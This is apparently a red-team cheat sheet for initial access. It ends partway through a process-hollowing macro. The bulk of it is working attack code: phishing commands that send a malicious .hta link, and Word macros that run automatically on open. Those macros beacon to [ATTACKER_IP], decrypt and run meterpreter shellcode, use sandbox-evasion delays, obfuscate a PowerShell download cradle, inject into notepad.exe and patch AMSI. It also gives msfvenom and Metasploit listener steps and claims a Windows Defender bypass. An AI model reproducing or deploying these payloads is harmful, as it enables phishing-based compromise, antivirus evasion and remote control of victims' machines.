Scanning
External Scanning - Nmap
| Purpose | Command | Notes |
|---|---|---|
| Advanced enumeration | nmap -A [IP/domain] -oN [machine_name].txt |
Complete system and version detection |
| Fast all-ports scan | sudo nmap -p- -sS -sU --min-rate=1000 --max-retries=1 -T4 [IP/Domain] |
Combines SYN and UDP scans for speed |
| Fast scan alternative | nmap -p- -T4 -n -Pn [IP/domain] -oN [machine_name]_ports.txt |
TCP only; skips host discovery for speed |
| Fast scan second alternative | sudo nmap --minrate-5000 -p- -vvv -Pn -n -oG openPorts.txt [IP] |
Increases min rate for quicker scanning |
| Discovery all ports scan | nmap -p- [IP/Domain] -oN [machine_name]_ports.txt |
For full port discovery |
| Top ports | nmap [IP/Domain] --top-ports [number_of_top_ports] |
Scan common ports only |
Internal Scanning - Portscan
- Download script directly in memory
IEX(New-Object Net.webclient).downloadString('http://[ATTACKER_IP]/Invoke-Portscan.ps1')
- Scan Single Internal Target
Invoke-Portscan -Hosts [INTERNAL_IP] -Ports "21,22,23,53,69,71,80,88,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,5985,5986,6667,6868,7777,7878,8000,8080,1521,3306,3389,5801,5900,5555,5901" | Select -ExpandProperty openPorts
Initial & Further Access
Phishing
Send Emails Commands
- SendEmail
sendEmail -s [SMTP_SERVER_IP] -t [TARGET_ADDRESS] -f attacker@test.com -u "Subject: Issues with mail" -o message-content-type=html -m "Please click here http://[ATTACKER_IP]/[MAL_FILE].hta" -a [MAL_FILE].hta
- Swaks
swaks --body 'Please click here http://[ATTACKER_IP]/[MAL_FILE].hta' --add-header "MIME-Version: 1.0" --add-header "Content-Type: text/html" --header "Subject: Issues with mail" -t [TARGET_ADDRESS] -f attacker@test.com --server [SMTP_SERVER_IP]
Microsoft Word
Callback Pinging
Purpose This Macros file is just to get a callback from the victim and understand what is happening, it is not ideal for real operations but it is for testing purposes
Code
Sub MyMacro()
Dim Command As String
Command = "C:\Windows\System32\curl.exe http://[ATTACKER_IP]/worked"
Shell Command, vbHide
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Determine Target Architecture
Purpose
We can use special non-malicious Macros to find the architecture of the target and therefore crafting the payloads and
stagers correctly avoid running issues. Remember to run nc -nvlp 80 prior to delivering them.
Macros Using Curl
Option Explicit
Sub SendProcessInfo()
Dim processName As String, serverUrl As String, wmiService As Object, processList As Object, processItem As Object
Dim result As String, is64Bit As Boolean
serverUrl = "http://CHANGE TO YOUR IP" ' Change this to your server endpoint
processName = "winword.exe" ' Replace with your process name
' Create WMI query and get process list
Set wmiService = GetObject("winmgmts:\\.\root\CIMV2")
Set processList = wmiService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & processName & "'")
' Check if process is found and determine 64-bit status
If processList.Count > 0 Then
For Each processItem In processList
is64Bit = InStr(1, processItem.CommandLine, "Program Files (x86)", vbTextCompare) = 0
result = "Process: " & processName & ", 64-bit: " & CStr(is64Bit)
Next
Else
result = "Process not found."
End If
' Execute cURL command
Shell "cmd.exe /c curl -X POST -d """ & result & """ " & serverUrl, vbHide
End Sub
Sub AutoOpen()
SendProcessInfo
End Sub
Sub DocumentOpen()
SendProcessInfo
End Sub
Macros Using PowerShell
Option Explicit
Sub SendProcessInfo()
Dim processName As String
Dim is64Bit As Boolean
Dim result As String
Dim wmiService As Object
Dim processList As Object
Dim processItem As Object
Dim psCommand As String
processName = "explorer.exe" ' Use uppercase for process name for consistency
Set wmiService = GetObject("winmgmts:\\.\root\CIMV2")
Set processList = wmiService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & processName & "'")
If processList.Count > 0 Then
For Each processItem In processList
' Check if the executable is located in "Program Files (x86)"
is64Bit = (InStr(1, processItem.ExecutablePath, "Program Files (x86)", vbTextCompare) = 0)
Exit For ' Only need to check the first matching process
Next processItem
result = "{""process"": """ & processName & """, ""64bit"": " & CStr(is64Bit) & "}"
Else
result = "{""process"": """ & processName & """, ""status"": ""not found""}"
End If
' Prepare the PowerShell command
psCommand = "powershell -Command ""Invoke-RestMethod -Uri 'http://[ATTACKER_IP]' -Method Post -Body '" & result & "' -ContentType 'application/json'"""
' Execute the PowerShell command
Shell "cmd.exe /c " & psCommand, vbHide
End Sub
Sub AutoOpen()
SendProcessInfo
End Sub
Sub DocumentOpen()
SendProcessInfo
End Sub
Shellcode Runner - Meterpreter Encrypted
Steps
- Create your shellcode
# If you change the key, then change it in the vba code too
msfvenom -p windows/meterpreter/reverse_https LHOST=[LHOST] LPORT=[LPORT] EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key a
- Create a new file Macros and insert your shellcode from step above and save the file as a
.docm
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" (ByVal lpCallback As LongPtr) As Long
Sub Document_Open()
ShellcodeRunner
End Sub
Sub AutoOpen()
ShellcodeRunner
End Sub
Function ShellcodeRunner()
Dim sc As Variant
Dim tmp As LongPtr
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
Dim dream As Integer
Dim before As Date
' Check if we're in a sandbox by calling a rare-emulated API
If IsNull(FlsAlloc(tmp)) Then
Exit Function
End If
' Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
dream = Int((1500 * Rnd) + 2000)
before = Now()
Sleep (dream)
If DateDiff("s", t, Now()) < dream Then
Exit Function
End If
Key = "a"
' msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key a
sc = Array(157, 137, 238, 97, 97, 97, 1, 80, 179, 5, 234, 51, 81, 234, 51, 109, 232, 132, 234, 51, 117, 80, 158, 110, 214, 43, 71, 234, 19, 73, 80, 161, 205, 93, 0, 29, 99, 77, 65, 160, 174, 108, 96, 166, 40, 20, 142, 51, 54, 234, 51, 113, 234, 35, 93, 96, 177, 234, 33, 25, 228, 161, 21, 45, 96, 177, 49, 234, 41, 121, 234, 57, 65, 96, 178, 228, 168, 21, 93, 80, 158, _
40, 234, 85, 234, 96, 183, 80, 161, 160, 174, 108, 205, 96, 166, 89, 129, 20, 149, 98, 28, 153, 90, 28, 69, 20, 129, 57, 234, 57, 69, 96, 178, 7, 234, 109, 42, 234, 57, 125, 96, 178, 234, 101, 234, 96, 177, 232, 37, 69, 69, 58, 58, 0, 56, 59, 48, 158, 129, 57, 62, 59, 234, 115, 136, 225, 158, 158, 158, 60, 9, 82, 83, 97, 97, 9, 22, 18, 83, 62, 53, _
9, 45, 22, 71, 102, 232, 137, 158, 177, 217, 241, 96, 97, 97, 72, 165, 53, 49, 9, 72, 225, 10, 97, 158, 180, 11, 107, 9, 161, 201, 83, 4, 9, 99, 97, 96, 218, 232, 135, 49, 49, 49, 49, 33, 49, 33, 49, 9, 139, 110, 190, 129, 158, 180, 246, 11, 113, 55, 54, 9, 248, 196, 21, 0, 158, 180, 228, 161, 21, 107, 158, 47, 105, 20, 141, 137, 6, 97, 97, 97, _
11, 97, 11, 101, 55, 54, 9, 99, 184, 169, 62, 158, 180, 226, 153, 97, 31, 87, 234, 87, 11, 33, 9, 97, 113, 97, 97, 55, 11, 97, 9, 57, 197, 50, 132, 158, 180, 242, 50, 11, 97, 55, 50, 54, 9, 99, 184, 169, 62, 158, 180, 226, 153, 97, 28, 73, 57, 9, 97, 33, 97, 97, 11, 97, 49, 9, 106, 78, 110, 81, 158, 180, 54, 9, 20, 15, 44, 0, 158, 180, _
63, 63, 158, 109, 69, 110, 228, 17, 158, 158, 158, 136, 250, 158, 158, 158, 96, 162, 72, 167, 20, 160, 162, 218, 129, 124, 75, 107, 9, 199, 244, 220, 252, 158, 180, 93, 103, 29, 107, 225, 154, 129, 20, 100, 218, 38, 114, 19, 14, 11, 97, 50, 158, 180)
Dim scSize As Long
scSize = UBound(sc)
' Decrypt shellcode
Dim keyArrayTemp() As Byte
keyArrayTemp = Key
i = 0
For x = 0 To UBound(sc)
sc(x) = sc(x) Xor keyArrayTemp(i)
i = (i + 2) Mod (Len(Key) * 2)
Next x
' TODO set the SIZE here (use a size > to the shellcode size)
Dim buf(685) As Byte
For y = 0 To UBound(sc)
buf(y) = sc(y)
Next y
' &H3000 = 0x3000 = MEM_COMMIT | MEM_RESERVE
' &H40 = 0x40 = PAGE_EXECUTE_READWRITE
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
- Start your Metasploit listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [ATTACKER_IP]; set lport [PORT]; exploit"
- Deliver your Word Stager and wait for access
Shellcode Runner - C# VBA Encrypted
Steps
- Create your Shellcode
# If something is not working consider using 32-bits payloads (windows/meterpreter/reverse_http)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[LHOST] LPORT=[LPORT] EXITFUNC=thread -f csharp
- Encrypt the shellcode, they are many ways to do it but I will use this personal C# VBA Encrypter
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace vba_encrypter
{
class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[681] {0xfc,0xe8,0x8f,0x00,0x00,0x00,
0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,
....
0x53,0xff,0xd5};
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
}
uint counter = 0;
StringBuilder hex = new StringBuilder(encoded.Length * 2);
foreach (byte b in encoded)
{
hex.AppendFormat("{0:D}, ", b);
counter++;
if (counter % 50 == 0)
{
hex.AppendFormat("_{0}", Environment.NewLine);
}
}
Console.WriteLine("The payload is: " + hex.ToString());
}
}
}
- Create the Macros file, use code below inserting your encrypted shellcode and save the file as a
.docm
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As LongPtr
buf = Array(254, 234, 145, ..., 85, 1, 215)
For i = 0 To UBound(buf)
buf(i) = buf(i) - 2
Next i
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
- Start your Metasploit listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [ATTACKER_IP]; set lport [PORT]; exploit"
- Deliver your Macros and wait for execution and your reverse shell
PowerShell Stager - Encrypted & Obfuscated
IMPORTANT: it was tested in lab machine and successfully bypass Windows Defender, but if AMSI protection is enabled then it could not work
- Create your Shellcode
# If something is not working consider using 32-bits payloads (windows/meterpreter/reverse_http)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[LHOST] LPORT=[LPORT] EXITFUNC=thread -f ps1
- Create your PowerShell script, inset here your shellcode and save the file as
run.ps1, this is supposed to be loaded directly in memory, therefore not touching the disk and avoiding AV scanning
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle,
UInt32 dwMilliseconds);
}
"@
Add-Type $Kernel32
# INSERT SHELLCODE HERE
[Byte[]] $buf = 0xfc,0x48,0x83,..,0x41,0x89,0xda,0xff
$size = $buf.Length
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
- Encrypt your PS Code, this scipt will transform the characters to their ASCII value and do a Caesar encryption
$payload = "powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://[ATTACKER_IP]/[stager_filename].txt'))"
[string]$output = ""
$payload.ToCharArray() | %{
[string]$thischar = [byte][char]$_ + 17
if($thischar.Length -eq 1)
{
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2)
{
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3)
{
$output += $thischar
}
}
$output | clip
$output
- Create your Macros, copy the contents from above step to the payload part and save the file as a
.docm
Function Pears(Beets)
Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Nuts(Milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(Milk))
Milk = Almonds(Milk)
Loop While Len(Milk) > 0
Nuts = Oatmilk
End Function
Function MyMacro()
Dim Apples As String
Dim Water As String
// Payload resulting from previous step
Apples = "1291281361042112211.............640633137133056058058"
Water = Nuts(Apples)
GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
End Function
Sub AutoOpen()
Mymacro
End Sub
PowerShell Stager - Unencrypted
Keep in mind that these makes some Win32 API calls to avoid loading in disk and avoid AV detection. We need to things:
- The Macros stager that will download the payload, this one does not touches the disk, only memory.
- The malicious powershell payload that will trigger our reverse shell.
Steps
- Create your Shellcode
# If something is not working consider using 32-bits payloads (windows/meterpreter/reverse_http)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[LHOST] LPORT=[LPORT] EXITFUNC=thread -f ps1
- Create your PowerShell script, inset here your shellcode and save the file as
run.ps1
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle,
UInt32 dwMilliseconds);
}
"@
Add-Type $Kernel32
# INSERT SHELLCODE HERE
[Byte[]] $buf = 0xfc,0x48,0x83,..,0x41,0x89,0xda,0xff
$size = $buf.Length
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
- Create your Macros, and save the file as a
.docm
Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadString('http://[ATTACKER_IP]/[stager_filename].ps1') | IEX"
Shell str, vbHide
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
- Start your HTTP Server to host the ps stager
python3 -m http.server 80
- Start your Metasploit listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [ATTACKER_IP]; set lport [PORT]; exploit"
- Deliver the Macros to the victim
Process Injection - Meterpreter Encrypted
- Create your shellcode
# If you change the key, then change it in the vba code too
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[LHOST] LPORT=[LPORT] EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key '0xfa'
- Create a new file Macros and insert your shellcode from step above and save the file as a
.docm, in this case it will inject intonotepad.exebut you can change this
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function getmod Lib "KERNEL32" Alias "GetModuleHandleA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function GetPrAddr Lib "KERNEL32" Alias "GetProcAddress" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function VirtPro Lib "KERNEL32" Alias "VirtualProtect" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProcess As LongPtr, lpflOldProtect As LongPtr) As LongPtr
Private Declare PtrSafe Sub patched Lib "KERNEL32" Alias "RtlFillMemory" (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)
Private Declare PtrSafe Function OpenProcess Lib "KERNEL32" (ByVal dwDesiredAcess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As LongPtr) As LongPtr
Private Declare PtrSafe Function VirtualAllocEx Lib "KERNEL32" (ByVal hProcess As Integer, ByVal lpAddress As LongPtr, ByVal dwSize As LongPtr, ByVal fAllocType As LongPtr, ByVal flProtect As LongPtr) As LongPtr
Private Declare PtrSafe Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByRef lpBuffer As LongPtr, ByVal nSize As LongPtr, ByRef lpNumberOfBytesWritten As LongPtr) As LongPtr
Private Declare PtrSafe Function CreateRemoteThread Lib "KERNEL32" (ByVal ProcessHandle As LongPtr, ByVal lpThreadAttributes As Long, ByVal dwStackSize As LongPtr, ByVal lpStartAddress As LongPtr, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, ByVal lpThreadID As Long) As LongPtr
Private Declare PtrSafe Function CloseHandle Lib "KERNEL32" (ByVal hObject As LongPtr) As Boolean
Function mymacro()
Dim myTime
Dim Timein As Date
Dim second_time
Dim Timeout As Date
Dim subtime As Variant
Dim vOut As Integer
Dim Is64 As Boolean
Dim StrFile As String
myTime = Time
Timein = Date + myTime
Sleep (4000)
second_time = Time
Timeout = Date + second_time
subtime = DateDiff("s", Timein, Timeout)
vOut = CInt(subtime)
If subtime < 3.5 Then
Exit Function
End If
Dim sc As Variant
Dim key As String
' TODO change the key
key = "0xfa"
'msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key '0xfa'
sc = Array(204, 144, 233, 97, 48, 120, 6, 80, 226, 28, 237, 51, 0, 241, 131, 234, 98, 116, 237, 51, 36, 243, 20, 73, 1, 135, 105, 214, 122, 94, 87, 161, 156, 68, 7, 29, 50, 84, 70, 160, 255, 117, 103, 166, 121, 13, 137, 51, 103, 243, 52, 113, 187, 58, 90, 96, 224, 243, 38, 25, 181, 184, 18, 45, 49, 168, 54, 234, 120, 96, 237, 57, 16, 121, 181, 228, 249, 12, 90, 40, 187, _
76, 237, 96, 230, 73, 153, 80, 240, 212, 167, 174, 61, 121, 161, 89, 208, 13, 146, 98, 77, 128, 93, 28, 20, 13, 134, 57, 187, 32, 66, 96, 227, 30, 237, 109, 123, 243, 62, 125, 49, 171, 237, 101, 187, 121, 182, 232, 116, 92, 66, 58, 107, 25, 63, 59, 97, 135, 134, 57, 111, 34, 237, 115, 217, 248, 153, 158, 207, 37, 14, 82, 2, 120, 102, 9, 71, 11, 84, 62, 100, _
16, 42, 22, 22, 127, 239, 137, 207, 168, 222, 241, 49, 120, 102, 72, 244, 44, 54, 9, 25, 248, 13, 97, 207, 173, 12, 107, 88, 184, 206, 76, 239, 16, 100, 97, 49, 195, 239, 135, 96, 40, 54, 49, 112, 40, 38, 49, 88, 146, 105, 190, 208, 135, 179, 246, 90, 104, 48, 54, 88, 225, 195, 21, 81, 135, 179, 228, 240, 12, 108, 158, 126, 112, 19, 141, 216, 31, 102, 97, 48, _
18, 102, 11, 52, 46, 49, 9, 50, 161, 174, 62, 207, 173, 229, 153, 48, 6, 80, 234, 6, 18, 38, 9, 48, 104, 102, 97, 102, 18, 102, 9, 104, 220, 53, 132, 207, 173, 245, 50, 90, 120, 48, 50, 103, 16, 100, 184, 248, 39, 153, 180, 179, 128, 102, 28, 24, 32, 14, 97, 112, 120, 102, 11, 48, 40, 14, 106, 31, 119, 86, 158, 229, 47, 14, 20, 94, 53, 7, 158, 229, _
38, 56, 158, 60, 92, 105, 228, 64, 135, 153, 158, 217, 227, 153, 158, 207, 121, 165, 72, 246, 13, 167, 162, 139, 152, 123, 75, 58, 16, 192, 244, 141, 229, 153, 180, 12, 126, 26, 107, 176, 131, 134, 20, 53, 195, 33, 114, 66, 23, 12, 97, 99, 135, 179)
Dim scSize As Long
scSize = UBound(sc)
' Decrypt shellcode
Dim keyArrayTemp() As Byte
keyArrayTemp = key
i = 0
For x = 0 To UBound(sc)
sc(x) = sc(x) Xor keyArrayTemp(i)
i = (i + 2) Mod (Len(key) * 2)
Next x
' TODO set the SIZE here (use a size > to the shellcode size)
Dim buf(685) As Byte
For y = 0 To UBound(sc)
buf(y) = sc(y)
Next y
'grab handle to target, which has to be running if this macro is opened from word
Shell "notepad.exe", vbHide
pid = getPID("notepad.exe")
Handle = OpenProcess(&H1F0FFF, False, pid)
'MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
addr = VirtualAllocEx(Handle, 0, UBound(buf), &H3000, &H40)
'byte-by-byte to attempt sneaking our shellcode past AV hooks
For counter = LBound(buf) To UBound(buf)
binData = buf(counter)
Address = addr + counter
res = WriteProcessMemory(Handle, Address, binData, 1, 0&)
Next counter
thread = CreateRemoteThread(Handle, 0, 0, addr, 0, 0, 0)
End Function
Sub patch(StrFile As String, Is64 As Boolean)
Dim lib As LongPtr
Dim Func_addr As LongPtr
Dim temp As LongPtr
lib = getmod(StrFile)
Func_addr = GetPrAddr(lib, "Am" & Chr(115) & Chr(105) & "U" & Chr(97) & "c" & "Init" & Chr(105) & Chr(97) & "lize") - off
temp = VirtPro(ByVal Func_addr, 32, 64, 0)
patched ByVal (Func_addr), 1, ByVal ("&H" & "90")
patched ByVal (Func_addr + 1), 1, ByVal ("&H" & "C3")
temp = VirtPro(ByVal Func_addr, 32, old, 0)
Func_addr = GetPrAddr(lib, "Am" & Chr(115) & Chr(105) & "U" & Chr(97) & "c" & "Init" & Chr(105) & Chr(97) & "lize") - off
temp = VirtPro(ByVal Func_addr, 32, 64, old)
patched ByVal (Func_addr), 1, ByVal ("&H" & "90")
patched ByVal (Func_addr + 1), 1, ByVal ("&H" & "C3")
temp = VirtPro(ByVal Func_addr, 32, old, 0)
End Sub
Function getPID(injProc As String) As LongPtr
Dim objServices As Object, objProcessSet As Object, Process As Object
Set objServices = GetObject("winmgmts:\\.\root\CIMV2")
Set objProcessSet = objServices.ExecQuery("SELECT ProcessID, name FROM Win32_Process WHERE name = """ & injProc & """", , 48)
For Each Process In objProcessSet
getPID = Process.processID
Next
End Function
Sub test()
mymacro
End Sub
Sub Document_Open()
test
End Sub
Sub AutoOpen()
test
End Sub
- Start your Metasploit listener
sudo msfconsole -q -x "use multi/handler; set payload windows/meterpreter/reverse_https; set lhost [ATTACKER_IP]; set lport [PORT]; exploit"
- Deliver your Macros and wait for execution and your reverse shell
Process Hollow - Meterpreter Encrypted
- Create your shellcode
# If you change the key, then change it in the vba code too
msfvenom -p windows/meterpreter/reverse_https LHOST=[LHOST] LPORT=[LPORT] EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key 'CHANGEMYKEY'
- Create a new file Macros and insert your shellcode from step above and save the file as a
.docm, in this case it will inject intonotepad.exebut you can change this
#If Win64 Then
Private Declare PtrSafe Function ZwQueryInformationProcess Lib "NTDLL" (ByVal hProcess As LongPtr, ByVal procInformationClass As Long, ByRef procInformation As PROCESS_BASIC_INFORMATION, ByVal ProcInfoLen As Long, ByRef retlen As Long) As Long
Private Declare PtrSafe Function CreateProcessA Lib "KERNEL32" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Function ReadProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal dwSize As Long, ByVal lpNumberOfBytesRead As Long) As Long
Private Declare PtrSafe Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As Long) As Long
Private Declare PtrSafe Function ResumeThread Lib "KERNEL32" (ByVal hThread As LongPtr) As Long
Private Declare PtrSafe Sub RtlZeroMemory Lib "KERNEL32" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function GetProcAddress Lib "KERNEL32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibraryA Lib "KERNEL32" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flNewProtect As Long, ByRef lpflOldProtect As Long) As Long
Private Declare PtrSafe Function CryptBinaryToStringA Lib "CRYPT32" (ByRef pbBinary As Any, ByVal cbBinary As Long, ByVal dwFlags As Long, ByRef pszString As Any, pcchString As Any) As Long
#Else
Private Declare Function ZwQueryInformationProcess Lib "NTDLL" (ByVal hProcess As LongPtr, ByVal procInformationClass As Long, ByRef procInformation As PROCESS_BASIC_INFORMATION, ByVal ProcInfoLen As Long, ByRef retlen As Long) As Long
Private Declare Function CreateProcessA Lib "KERNEL32" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare Function ReadProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal dwSize As Long, ByVal lpNumberOfBytesRead As Long) As Long
Private Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As Long) As Long
Private Declare Function ResumeThread Lib "KERNEL32" (ByVal hThread As LongPtr) As Long
Private Declare Sub RtlZeroMemory Lib "KERNEL32" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare Function GetProcAddress Lib "KERNEL32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare Function LoadLibraryA Lib "KERNEL32" (ByVal lpLibFileName As String) As LongPtr
Private Declare Function VirtualProtect Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flNewProtect As Long, ByRef lpflOldProtect As Long) As Long
Private Declare Function CryptBinaryToStringA Lib "CRYPT32" (ByRef pbBinary As Any, ByVal cbBinary As Long, ByVal dwFlags As Long, ByRef pszString As Any, pcchString As Any) As Long
#End If
Private Type PROCESS_BASIC_INFORMATION
Reserved1 As LongPtr
PebAddress As LongPtr
Reserved2 As LongPtr
Reserved3 As LongPtr
UniquePid As LongPtr
MoreReserved As LongPtr
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As String
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Sub Document_Open()
hollow
End Sub
Sub AutoOpen()
hollow
End Sub
' Performs process hollowing to run shellcode in svchost.exe
Function hollow()
Dim si As STARTUPINFOA
RtlZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
Dim pi As PROCESS_INFORMATION
Dim procOutput As LongPtr
' Start svchost.exe in a suspended state
